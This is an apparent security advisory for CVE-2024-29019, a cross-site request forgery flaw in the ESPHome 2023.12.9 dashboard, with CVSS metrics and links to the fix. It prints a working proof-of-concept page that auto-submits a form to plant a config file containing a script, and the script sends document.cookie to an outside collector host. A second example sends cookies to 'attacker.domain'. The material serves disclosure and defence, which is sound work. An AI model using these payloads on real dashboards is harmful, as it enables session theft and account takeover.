CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
AI Score
Confidence
High
EPSS
Percentile
9.0%
API endpoints in dashboard component of ESPHome version 2023.12.9 (command line installation) are vulnerable to Cross-Site Request Forgery (CSRF) allowing remote attackers to carry out attacks against a logged user of the dashboard to perform operations on configuration files (create, edit, delete).
It is possible for a malicious actor to create a specifically crafted web page that triggers a cross site request against ESPHome, this allows bypassing the authentication for API calls on the platform.
An example of malicious web page that abuses this vulnerability:
<html>
<body>
<form action=“http://localhost:6052/edit?configuration=poc.yaml” id=“#main” method=“POST” enctype=“text/plain” onsubmit=“setTimeout(function () { window.location.reload(); }, 10)”>
<input type=“hidden” name=“<script>
fetch('https://907zv9yp9u3rjerkiakydpvcr3xulk99.oastify.com?x” value="y', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
" />
</form>
<script>
document.forms[0].submit();
</script>
<script>
</script>
</body>
</html>
In which an attacker creates and weaponizes “poc.yaml” config file containing a cookie exfiltration script and forces the payload triggering visiting the vulnerable page.
Example of such script:
<script>
fetch(‘https://attacker.domain’, {
method: ‘POST’,
mode: ‘no-cors’,
body:document.cookie
});
</script>
This vulnerability allows bypassing authentication on API calls accessing configuration file operations on the behalf of a logged user. In order to trigger the vulnerability, the victim must visit a weaponized page.
In addition to this, it is possible to chain this vulnerability with GHSA-9p43-hj5j-96h5 (as seen in the PoC) to obtain a complete takeover of the user account.
github.com/advisories/GHSA-5925-88xh-6h99
github.com/advisories/GHSA-9p43-hj5j-96h5
github.com/esphome/esphome/commit/c56c40cb824e34ed2b89ba1cb8a3a5eb31459c74
github.com/esphome/esphome/pull/6396
github.com/esphome/esphome/pull/6397
github.com/esphome/esphome/releases/tag/2024.3.0
github.com/esphome/esphome/security/advisories/GHSA-5925-88xh-6h99
nvd.nist.gov/vuln/detail/CVE-2024-29019
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
AI Score
Confidence
High
EPSS
Percentile
9.0%